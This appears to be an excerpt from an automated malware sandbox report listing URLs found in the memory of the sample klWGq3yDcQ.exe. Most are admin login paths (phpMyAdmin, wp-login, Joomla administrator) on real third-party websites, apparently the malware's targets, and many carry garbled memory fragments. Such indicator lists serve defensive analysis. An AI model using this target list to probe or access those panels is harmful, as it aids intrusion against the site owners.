Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dstaq.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dstaq.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dstaq.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://dstaq.com/pma//phpmyadm
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eco-landeck.at/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eco-landeck.at/.comsO
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://eco-landeck.at/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D05000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://edgewater.group/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://elitebusinesshn.com/admin
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://elitebusinesshn.com/admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://elitebusinesshn.com/admin/BsdW1hcnVuaWZvcm1lcy5jb20ATHV
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://elitebusinesshn.com/adminOGIN
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esistem.com.br/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esoft.academy/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://esoft.academy/.com:2222
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://formacion.talentius.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gasp-ga.com/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gasp-ga.com/administrator/20
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gasp-ga.com/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gasp-ga.com/administrator/index.phpp-
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004025000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatewaytoearlylearning.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gatewaytoearlylearning.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gccb.co.in/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gccb.co.in/ministrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/ac.uk
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/phpMyAdmin/c
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/phpmyadmin/H
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gethsemane.org/pma/.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmail.io/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmail.io/)
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmail.io/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmail.io/administrator/index.php1
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://grantstech.io/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://grantstech.io/PhpMyAdmin/(-V
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://grantstech.io/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://grantstech.io/phpMyAdmin/T-
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://grantstech.io/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://greenrworld.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://greenrworld.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://greenrworld.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://greenrworld.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://greenrworld.com/ta.eu
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/pma/a
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/wp-login.phpen)
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/wp-login.phpen)f
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://gruporegiosafety.com/wp-login.phpm
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://harasduberry.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://highstreet-re.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hightideinc.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hightideinc.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hightideinc.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004075000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hightideinc.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hightideinc.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://himontessori.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://himontessori.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://himontessori.com/administrator/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://himontessori.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886351105.00000000040EF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://himontessori.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://himontessori.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hmichaelandco.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hmichaelandco.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hmichaelandco.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hmichaelandco.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2884974422.0000000003FAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hmichaelandco.com/pma/V
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.0000000004067000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ibright.net/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://integraledu.hr/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://integraledu.hr/?
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://integraledu.hr/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://integraledu.hr/administrator/index.php#y
Source: klWGq3yDcQ.exe, 00000001.00000002.2886296265.00000000040D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://integraledu.hr/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jamiesonmullin.com/admin.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004222000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jamiesonmullin.com/admin.phph/I
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jamiesonmullin.com/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://jamiesonmullin.com/administrator/index.phpmOq
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/PhpMyAdmin/7o
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/n.comm
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/phpmyadmin/$o
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://killicit.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/0e.orgxyz
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://knu.ac.in/pma/ld.edu.au
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://krkconcord.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://krkconcord.com/.at
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://krkconcord.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://krkconcord.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://krkconcord.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://krkconcord.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://kvsroraipur.in/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://leeberg.dk/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lgs-strategies.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lgs-strategies.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lgs-strategies.com/phpMyAdmin/-v
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003C87000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lgs-strategies.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://linkan-group.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://linkan-group.com/wp-admin/com/wp-login.php5p7c
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://locandafrancigena.it/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/administrator/index.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2886486906.0000000004158000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/administrator/index.phpotrust
Source: klWGq3yDcQ.exe, 00000001.00000002.2885555706.0000000004005000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/administrator/index.phprh
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/phpmyadmin/D
Source: klWGq3yDcQ.exe, 00000001.00000002.2887494759.00000000043C2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lumaruniformes.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/PhpMyAdmin/it.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/et?
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/phpMyAdmin/ustin.com
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/phpmyadmin/Admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://lwindowelive.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://macisis.co.uk/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://macisis.co.uk/PhpMyAdmin/Admin/tea.edu
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://macisis.co.uk/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://macisis.co.uk/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2881610606.0000000003BA1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://macisis.co.uk/phpmyadmin/admin/view.ac
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maxiv.lu.se/
Source: klWGq3yDcQ.exe, 00000001.00000002.2885992508.000000000405D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://maxiv.lu.se/co:990m
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004319000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://mdystudent.net/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.0000000004380000.00000004.00000020.00020000.00000000.sdmp, klWGq3yDcQ.exe, 00000001.00000002.2886486906.000000000425C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/phpmyadmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/pma/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-admin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-admin/css/forms.min.css?ver=6.1.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-admin/css/l10n.min.css?ver=6.1.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-admin/css/login.min.css?ver=6.1.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-admin/js/password-strength-meter.min.js?ver=6.1.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-admin/js/user-profile.min.js?ver=6.1.1
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-content/plugins/jetpack/css/A.jetpack.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/css/A.buttons.min.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/css/A.dashicons.min.css
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/js/dist/vendor
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/js/jquery/jquery-migrate.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/js/jquery/jquery.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/js/underscore.min.js
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-includes/js/zxcvbn-async.min.js?ver=1.0
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-login.php
Source: klWGq3yDcQ.exe, 00000001.00000002.2883538020.0000000003CB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://micro-design.com/wp-login.php?action=lostpassword
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/PhpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/PhpMyAdmin/f
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/phpMyAdmin/
Source: klWGq3yDcQ.exe, 00000001.00000002.2887067492.00000000043A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://midcapfunding.com/phpmyadmin/
